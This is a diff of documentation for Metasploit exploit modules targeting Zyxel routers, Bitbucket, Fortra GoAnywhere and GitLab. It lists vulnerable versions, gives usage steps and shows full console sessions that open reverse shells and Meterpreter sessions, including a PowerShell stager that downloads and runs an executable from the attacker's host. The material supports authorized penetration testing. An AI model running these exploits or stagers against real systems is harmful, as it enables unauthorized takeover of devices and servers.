## Vulnerable Application
|
||||
|
||||
This module exploits a buffer-overflow in multiple Zyxel devices. The vulnerabilitiy stems from missing string length
|
||||
checks. The vulnerability can only be exploited from the LAN side, but does not require authentication. As ASLR is
|
||||
activated, the libc address will be bruteforced. Thus the webserver will crash until successfull exploitation. On
|
||||
average this process takes 20 minutes.
|
||||
|
||||
This vulnerability was discovered by Steffen Robertz, Gerhard Hechenberger, Stefan Viehboeck and Thomas Weber of the SEC
|
||||
Consult Vulnerability Lab in Vienna. The full writeup of all vulnerabilities is available here:
|
||||
[https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/]
|
||||
|
||||
|
||||
| Device | Firmware |
|
||||
| ------------ | --------- |
|
||||
| AMG1302-T11C | EOL |
|
||||
| VMG3925-B10C | EOL |
|
||||
| VMG8924-B10D | EOL |
|
||||
| VMG1312-B10D | EOL |
|
||||
| VMG3312-T20A | EOL |
|
||||
| VMG3625-T20A | EOL |
|
||||
| VMG3925-B10B | EOL |
|
||||
| VMG3925-B10C | EOL |
|
||||
| VMG3925-B30C | EOL |
|
||||
| VMG3926-B10A | EOL |
|
||||
| VMG5313-B10B | EOL |
|
||||
| VMG5313-B30B | EOL |
|
||||
| VMG8623-T50A | EOL |
|
||||
| VMG8823-B10B | EOL |
|
||||
| VMG8823-B30B | EOL |
|
||||
| VMG8823-B50B | EOL |
|
||||
| VMG8823-B60B | EOL |
|
||||
| VMG8924-B10D | EOL |
|
||||
| VMG8924-B30D | EOL |
|
||||
| PMG5317-T20A | EOL |
|
||||
| DX3301-T0 | V5.50(ABVY.3)C0 |
|
||||
| DX5401-B0 | V5.17(ABYO.1)C0 |
|
||||
| EMG3525-T50B | EMEA - V5.50(ABPM.6)C0 |
|
||||
| EMG3525-T50B | S. America - V5.50(ABSL.0)b12 |
|
||||
| EMG5523-T50B | EMEA - V5.50(ABPM.6)C0 |
|
||||
| EMG5523-T50B | S. America - V5.50(ABSL.0)b12 |
|
||||
| EMG5723-T50K | V5.50(ABOM.7)C0 |
|
||||
| EX3301-T0 | V5.50(ABVY.3)C0 |
|
||||
| EX5401-B0 | V5.17(ABYO.1)C0 |
|
||||
| EX5501-B0 | V5.17(ABRY.2)C0 |
|
||||
| LTE3301-PLUS | V1.00(ABQU.3)C0 |
|
||||
| LTE7240-M403 | V2.00(ABMG.4)C0 |
|
||||
| VMG1312-T20B | V5.50(ABSB.5)C0 |
|
||||
| VMG3625-T50B | V5.50(ABPM.6)C0 |
|
||||
| VMG3927-B50A | V5.17(ABMT.6)C0 |
|
||||
| VMG3927-B60A | V5.17(ABMT.6)C0 |
|
||||
| VMG3927-T50K | V5.50(ABOM.7)C0 |
|
||||
| VMG4005-B50A | V5.15(ABQA.2)C0 |
|
||||
| VMG8623-T50B | V5.50(ABPM.6)C0 |
|
||||
| VMG8825-B50A | V5.17(ABMT.6)C0 |
|
||||
| VMG8825-B50B | V5.17(ABNY.7)C0 |
|
||||
| VMG8825-B60A | V5.17(ABMT.6)C0 |
|
||||
| VMG8825-B60B | V5.17(ABNY.7)C0 |
|
||||
| VMG8825-T50K | V5.50(ABOM.7)C0 |
|
||||
| XMG3927-B50A | V5.17(ABMT.6)C0 |
|
||||
| XMG8825-B50A | V5.17(ABMT.6)C0 |
|
||||
| VPN2S | V1.20(ABLN.2)_00210319C1 |
|
||||
| AX7501-B0 | V5.17(ABPC.1)C0 |
|
||||
| EP240P | V5.40(ABVH.1)C0 |
|
||||
| PMG5317-T20B | V5.40(ABKI.4)C0 |
|
||||
| PMG5617GA | V5.40(ABNA.2)C0 |
|
||||
| PMG5622GA | V5.40(ABNB.2)C0 |
|
||||
| WX3100-T0 | V5.50(ABVL.1)C0 |
|
||||
| WX3401-B0 | V5.17(ABVE.1)C0 |
|
||||
| WSQ50 (Multy X) | V2.20(ABKJ.7)C0 |
|
||||
| WSQ60 (Multy Plus) | V2.20(ABND.8)C0 |
|
||||
|
||||
## Verification Steps
|
||||
Follow these steps to exploit the target:
|
||||
|
||||
1. Connect to a target on the LAN interface
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce`
|
||||
4. Set RHOST, LHOST and SRVHOST
|
||||
5. Do `check`
|
||||
6. Do: `run`
|
||||
7. You should get a shell. On average this will take 20 minutes.
|
||||
## Options
|
||||
```
|
||||
Module options (exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (linux/armle/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
```
|
||||
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce
|
||||
[*] Using configured payload linux/armle/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > set LHOST XXX.XXX.XXX.XXX
|
||||
LHOST => XXX.XXX.XXX.XXX
|
||||
msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > set RHOSTS XXX.XXX.XXX.XXX
|
||||
RHOSTS => XXX.XXX.XXX.XXX
|
||||
msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > check
|
||||
[+] XXX.XXX.XXX.XXX:80 - The target is vulnerable.
|
||||
msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > set SRVHOST XXX.XXX.XXX.XXX
|
||||
SRVHOST => XXX.XXX.XXX.XXX
|
||||
msf6 exploit(linux/misc/zyxel_multiple_devices_zhttp_lan_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on XXX.XXX.XXX.XXX:4444
|
||||
[*] Attempting to exploit VMG3312-T20A <= EOL
|
||||
[*] Starting up our web service on XXX.XXX.XXX.XXX:8080 ...
|
||||
[*] Using URL: http://XXX.XXX.XXX.XXX:8080/o
|
||||
[*] Going to bruteforce ASLR, this will take a while...
|
||||
[*] Trying to overflow the buffer, attempt 1
|
||||
[*] Trying to overflow the buffer, attempt 2
|
||||
[*] Trying to overflow the buffer, attempt 3
|
||||
[*] Trying to overflow the buffer, attempt 4
|
||||
[*] Trying to overflow the buffer, attempt 5
|
||||
[*] Trying to overflow the buffer, attempt 6
|
||||
[*] Trying to overflow the buffer, attempt 7
|
||||
[*] Trying to overflow the buffer, attempt 8
|
||||
[*] Trying to overflow the buffer, attempt 9
|
||||
[*] Trying to overflow the buffer, attempt 10
|
||||
[...]
|
||||
[*] Trying to overflow the buffer, attempt 135
|
||||
[*] Trying to overflow the buffer, attempt 136
|
||||
[*] Trying to overflow the buffer, attempt 137
|
||||
[*] Trying to overflow the buffer, attempt 138
|
||||
[*] Trying to overflow the buffer, attempt 139
|
||||
[+] XXX.XXX.XXX.XXX:80 - Sending executable to the router
|
||||
[+] XXX.XXX.XXX.XXX:80 - A shell should connect soon!
|
||||
[*] Sending stage (908480 bytes) to XXX.XXX.XXX.XXX
|
||||
[*] Meterpreter session 1 opened (XXX.XXX.XXX.XXX:4444 -> XXX.XXX.XXX.XXX:55253) at 2022-07-24 19:03:41 +0200
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > shell
|
||||
Process 9871 created.
|
||||
Channel 1 created.
|
||||
id
|
||||
uid=0(root) gid=0
|
||||
```
|
||||
@@ -0,0 +1,272 @@
|
||||
## Vulnerable Application
|
||||
|
||||
For various versions of Bitbucket, there is an authenticated command injection
|
||||
vulnerability that can be exploited by injecting environment
|
||||
variables into a user name. This module achieves remote code execution
|
||||
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
|
||||
variable, a null character as a delimiter, and arbitrary code into a user's
|
||||
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
|
||||
will be run once the Bitbucket application is coerced into generating a diff.
|
||||
|
||||
This module requires at least admin credentials, as admins and above only have the
|
||||
option to change their user name.
|
||||
|
||||
The [advisory](https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html) lists the following versions as vulnerable:
|
||||
|
||||
* 7.0 to 7.5 (all versions)
|
||||
* 7.6.0 to 7.6.18
|
||||
* 7.7 to 7.16 (all versions)
|
||||
* 7.17.0 to 7.17.11
|
||||
* 7.18 to 7.20 (all versions)
|
||||
* 7.21.0 to 7.21.5
|
||||
|
||||
If mesh.enabled=false is set in bitbucket.properties:
|
||||
|
||||
* 8.0.0 to 8.0.4
|
||||
* 8.1.0 to 8.1.4
|
||||
* 8.2.0 to 8.2.3
|
||||
* 8.3.0 to 8.3.2
|
||||
* 8.4.0 to 8.4.1
|
||||
|
||||
### Installation Instructions
|
||||
|
||||
1. Install Git on the target machine
|
||||
* For Linux
|
||||
* sudo apt install -y git
|
||||
* For Windows
|
||||
* Download an [installer](https://github.com/git-for-windows/git/releases/download/v2.39.2.windows.1/Git-2.39.2-64-bit.exe)
|
||||
* Selecting all defaults should be fine
|
||||
2. Download a vulnerable version of Bitbucket. For example, version `7.18.1` can be found
|
||||
[here for Linux](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-7.18.1-x64.bin) and [here for Windows](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-7.18.1-x64.exe)
|
||||
3. For Linux, make sure the resulting bin file is executable and run it. Just double click on the installer file if using Windows
|
||||
* chmod +x atlassian-bitbucket-8.3.0-x64.bin && sudo ./atlassian-bitbucket-8.3.0-x64.bin
|
||||
4. An installation wizard will pop up. Make sure `Install a new instance` is checked, then click `Next`
|
||||
5. Check `Install a Server instance` and click `Next`
|
||||
6. If the default destination directory looks good, click `Next`
|
||||
7. Click `Next` if the default Bitbucket data directory looks fine
|
||||
8. Make sure the `Use default HTTP port (7990)` selection is checked and click `Next`
|
||||
9. Make sure the `Install Bitbucket as a service` box is checked and click `Next`
|
||||
10. Click `Install` if everything looks correct on the summary screen
|
||||
11. Once the installation completes, make sure the `Would you like to launch Bitbucket` option is selected
|
||||
and click `Next`
|
||||
12. Ensure `Launch Bitbucket <version> in browser` is selected and click `Finish`
|
||||
13. Navigate to the Bitbucket setup page (http://localhost:7990) and select the `I need an evaluation license` option
|
||||
14. If you already have an account, select `I have an account`; otherwise, create a new account
|
||||
15. 'up and running' should be selected on the next page, so click `Generate License`
|
||||
16. Confirm that the prompt gives you the correct server, then click `Yes`
|
||||
17. The license should be entered in the box, so select `Next`
|
||||
18. Finally, set up an administrator account
|
||||
|
||||
*Note*: If an error occurs on the last step, just open a browser and navigate to the setup
|
||||
page at 127.0.0.1:7990. If installing an 8.* version of Bitbucket, you will need to create
|
||||
a `bitbucket.properties` file at `/var/atlassian/application-data/bitbucket/shared`. Once created,
|
||||
add the line `mesh.enabled=false`, save the file, and restart Bitbucket.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/multi/http/bitbucket_env_var_rce`
|
||||
4. Do: `set USERNAME <username>`
|
||||
5. Do: `set PASSWORD <pass>`
|
||||
6. Do: `set RHOST <target_ip>`
|
||||
7. Do: `set LHOST <listen_ip>`
|
||||
8. Do: `run`
|
||||
9. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
Username to authenticate with and has at least admin privileges
|
||||
|
||||
### PASSWORD
|
||||
|
||||
Password to authenticate with
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, CMD Target
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/bitbucket_env_var_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149
|
||||
rhost => 192.168.140.149
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
|
||||
lhost => 192.168.140.1
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set username test
|
||||
username => test
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set password password
|
||||
password => password
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] No accessible repositories. Will attempt to create a repo
|
||||
[*] Failed to find valid project information. Will attempt to create repo
|
||||
[*] Project creation was successful
|
||||
[+] Successfully created repository 'fjNMKiB'
|
||||
[+] Commits added: 9e03047ab0802438c2058e49ec757a7be8d222eb, f7683fcc92840ff94e609c8b0a99e165edb5aa7d
|
||||
[*] Sending payload
|
||||
[*] Command shell session 1 opened (192.168.140.1:4444 -> 192.168.140.149:41118) at 2023-03-13 14:04:00 -0500
|
||||
[*] Changing user name back to 'test'
|
||||
[+] Repository has been deleted
|
||||
[+] Project has been deleted
|
||||
|
||||
uname -a
|
||||
Linux gitlab-virtual-machine 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=1001(atlbitbucket) gid=1001(atlbitbucket) groups=1001(atlbitbucket)
|
||||
```
|
||||
|
||||
### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, Linux Dropper
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > show targets
|
||||
|
||||
Exploit targets:
|
||||
=================
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
=> 1 Linux Dropper
|
||||
2 Windows Dropper
|
||||
|
||||
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] No accessible repositories. Will attempt to create a repo
|
||||
[*] Failed to find valid project information. Will attempt to create repo
|
||||
[*] Project creation was successful
|
||||
[+] Successfully created repository 'gmoQNc'
|
||||
[+] Commits added: d355924ddef6869f5bbd7673c2a2d67c14ccd56d, cbd85c6309ab2830455c1796898f9677e10227e5
|
||||
[*] Sending payload
|
||||
[*] Using URL: http://192.168.140.1:8080/VtgFQ7yCgjcP
|
||||
[*] Client 192.168.140.149 (Wget/1.21.2) requested /VtgFQ7yCgjcP
|
||||
[*] Sending payload to 192.168.140.149 (Wget/1.21.2)
|
||||
[*] Command Stager progress - 53.04% done (61/115 bytes)
|
||||
[*] Command Stager progress - 72.17% done (83/115 bytes)
|
||||
[*] Sending stage (1017704 bytes) to 192.168.140.149
|
||||
[*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.149:50632) at 2023-03-13 14:06:18 -0500
|
||||
[*] Command Stager progress - 83.48% done (96/115 bytes)
|
||||
[*] Command Stager progress - 100.00% done (115/115 bytes)
|
||||
[*] Changing user name back to 'test'
|
||||
[+] Repository has been deleted
|
||||
[+] Project has been deleted
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: atlbitbucket
|
||||
```
|
||||
|
||||
### Windows 10, x64 - Bitbucket `v7.18.1`, Windows Dropper
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/bitbucket_env_var_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.171
|
||||
rhost => 192.168.140.171
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
|
||||
lhost => 192.168.140.1
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set username admin
|
||||
username => admin
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set password P@ssword
|
||||
password => P@ssword
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Found version 7.18.1 of Bitbucket
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] No accessible repositories. Will attempt to create a repo
|
||||
[*] Failed to find valid project information. Will attempt to create repo
|
||||
[*] Retrieving security token
|
||||
[*] Project creation was successful
|
||||
[+] Successfully created repository 'GqFji'
|
||||
[+] Commits added: 99a9d18e3a72d01bbdaac9bd8d84ba97bb3d7dad, 85a051cb3572b13e59816ff51b527706d66ae392
|
||||
[*] Sending payload
|
||||
[*] Using URL: http://192.168.140.1:8080/ZOwoRUPRlio
|
||||
[*] Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile .\\xnbrdApP.exe http://192.168.140.1:8080/ZOwoRUPRlio", ".\\xnbrdApP.exe", "del .\\xnbrdApP.exe"]
|
||||
[*] Client 192.168.140.171 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237) requested /ZOwoRUPRlio
|
||||
[*] Sending payload to 192.168.140.171 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237)
|
||||
[*] Command Stager progress - 75.19% done (97/129 bytes)
|
||||
[*] Sending stage (175686 bytes) to 192.168.140.171
|
||||
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.171:51236) at 2023-03-13 14:29:25 -0500
|
||||
[*] Command Stager progress - 86.05% done (111/129 bytes)
|
||||
[*] Command Stager progress - 100.00% done (129/129 bytes)
|
||||
[*] Changing user name back to 'admin'
|
||||
[*] Attempting to delete repository 'GqFji'
|
||||
[+] Repository has been deleted
|
||||
[*] Now attempting to delete project 'eTzDRa'
|
||||
[+] Project has been deleted
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-5JSUGC8\atlbitbucket
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-5JSUGC8
|
||||
OS : Windows 10 (10.0 Build 19044).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 4
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
||||
### Ubuntu 22.04 x64 - Bitbucket `v8.4.0` with mesh.enabled set to false, Linux Dropper
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/bitbucket_env_var_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149
|
||||
rhost => 192.168.140.149
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
|
||||
lhost => 192.168.140.1
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set username administrator
|
||||
username => administrator
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set password S3cureP@ssword
|
||||
password => S3cureP@ssword
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Versions 8.* are vulnerable only if the mesh setting is disabled
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] No accessible repositories. Will attempt to create a repo
|
||||
[*] Failed to find valid project information. Will attempt to create repo
|
||||
[*] Project creation was successful
|
||||
[+] Successfully created repository 'IuNYsZZPl'
|
||||
[+] Commits added: 560d760fdcbcf210c2c1b6dd04663381002066e5, 53ada0136f82899451c16a00cb939225dba53336
|
||||
[*] Sending payload
|
||||
[*] Using URL: http://192.168.140.1:8080/qt9f0M
|
||||
[*] Client 192.168.140.149 (Wget/1.21.2) requested /qt9f0M
|
||||
[*] Sending payload to 192.168.140.149 (Wget/1.21.2)
|
||||
[*] Command Stager progress - 50.46% done (55/109 bytes)
|
||||
[*] Command Stager progress - 70.64% done (77/109 bytes)
|
||||
[*] Sending stage (1017704 bytes) to 192.168.140.149
|
||||
[*] Meterpreter session 10 opened (192.168.140.1:4444 -> 192.168.140.149:43360) at 2023-03-14 19:00:00 -0500
|
||||
[*] Command Stager progress - 82.57% done (90/109 bytes)
|
||||
[*] Command Stager progress - 100.00% done (109/109 bytes)
|
||||
[*] Changing user name back to 'administrator'
|
||||
[+] Repository has been deleted
|
||||
[+] Project has been deleted
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: atlbitbucket
|
||||
```
|
||||
@@ -43,13 +43,13 @@ changed.
|
||||
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
RHOSTS => 10.0.0.219
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[*] Sending stage (24380 bytes) to 10.0.0.219
|
||||
@@ -65,16 +65,16 @@ Server username: ron
|
||||
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
RHOSTS => 10.0.0.219
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1
|
||||
TARGET => 1
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > show options
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > show options
|
||||
|
||||
[...]
|
||||
|
||||
@@ -89,7 +89,7 @@ Exploit target:
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[*] Sending stage (24380 bytes) to 10.0.0.219
|
||||
@@ -104,20 +104,20 @@ meterpreter >
|
||||
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
RHOSTS => 10.0.0.219
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000
|
||||
RPORT => 8000
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => false
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[*] Sending stage (24380 bytes) to 10.0.0.219
|
||||
|
||||
@@ -0,0 +1,201 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
An authenticated user can import a repository from GitHub into GitLab.
|
||||
|
||||
When importing a GitHub repository the GitLab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
|
||||
it into a Ruby class that has methods matching all of the keys. This happens recursively, and allows for any method to be overridden
|
||||
including built-in methods such as `to_s`.
|
||||
|
||||
The redis gem uses `to_s` and `bytesize` to generate the RESP (Redis serialization protocol) command. By replying with a specially
|
||||
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the GitHub server can inject arbitrary
|
||||
redis commands to the stream.
|
||||
|
||||
On August 30, 2022, GitLab released a software update that addressed this vulnerability (CVE-2022-2992).
|
||||
|
||||
The following products are affected:
|
||||
|
||||
- From 11.10 to 15.1.6
|
||||
- From 15.2 to 15.2.4
|
||||
- From 15.3 to 15.3.2
|
||||
|
||||
|
||||
### Exploitation
|
||||
|
||||
This module exploits the GitLab vulnerability by injecting a Ruby serialized object into the Redis user
|
||||
session object. Once GitLab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
|
||||
execute a deserialization gadget and trigger the payload.
|
||||
|
||||
To achieve that this module:
|
||||
- Will generate an universal Ruby deserialization gadget payload;
|
||||
- Will create an access token for the user targeted;
|
||||
- Will start a server to emulate GitHub and serve the payload to be injected;
|
||||
- Will create a group and also trigger the GitHub import feature to the repository from the controlled server
|
||||
- Will perform a request using the just injected session ID that when loaded must trigger the payload.
|
||||
|
||||
After the execution the cleanup method will be called and:
|
||||
- Should delete the created group and consequently the repository
|
||||
- Should revoke the access token created
|
||||
- Should logout the user
|
||||
|
||||
### Setup
|
||||
|
||||
Create a `docker-compose.yml` file as below:
|
||||
|
||||
```yml
|
||||
services:
|
||||
gitlab:
|
||||
image: 'gitlab/gitlab-ee:15.3.1-ee.0'
|
||||
restart: always
|
||||
container_name: gitlab
|
||||
hostname: 'gitlab.example'
|
||||
network_mode: "bridge"
|
||||
ports:
|
||||
- '880:80'
|
||||
- '8443:443'
|
||||
volumes:
|
||||
- gitlab_config:/etc/gitlab
|
||||
- gitlab_logs:/var/log/gitlab
|
||||
- gitlab_data:/var/opt/gitlab
|
||||
volumes:
|
||||
gitlab_config:
|
||||
driver: local
|
||||
gitlab_logs:
|
||||
driver: local
|
||||
gitlab_data:
|
||||
driver: local
|
||||
```
|
||||
|
||||
Run the below command to create the container:
|
||||
|
||||
```
|
||||
$ docker-compose up
|
||||
```
|
||||
|
||||
Wait for container to be "healthy" before continue. One can use [this](https://github.com/redwaysecurity/CVEs/blob/main/CVE-2022-2992/environment/healthy.sh) bash script to monitor the status.
|
||||
|
||||
```
|
||||
$ # Creating personal access token for the root user
|
||||
$ TOKEN=`tr -dc A-Za-z0-9 </dev/urandom | head -c 24 ; echo ''`
|
||||
$ docker exec -e TOKEN=$TOKEN -it gitlab gitlab-rails runner "token = User.find_by_username('root').personal_access_tokens.create(scopes: [:sudo, :api], name: 'Automation token'); token.set_token(ENV['TOKEN']); token.save!"
|
||||
$ # Using the personal access token from the root user a user.
|
||||
$ USER=msf
|
||||
$ PASSWORD=SuperStrongestGitLabPassword
|
||||
$ curl --request POST --header "PRIVATE-TOKEN: $TOKEN" --data "skip_confirmation=true&email=$USER@gitlab.example&name=$USER&username=$USER&password=$PASSWORD" "http://gitlab.example:880/api/v4/users"
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
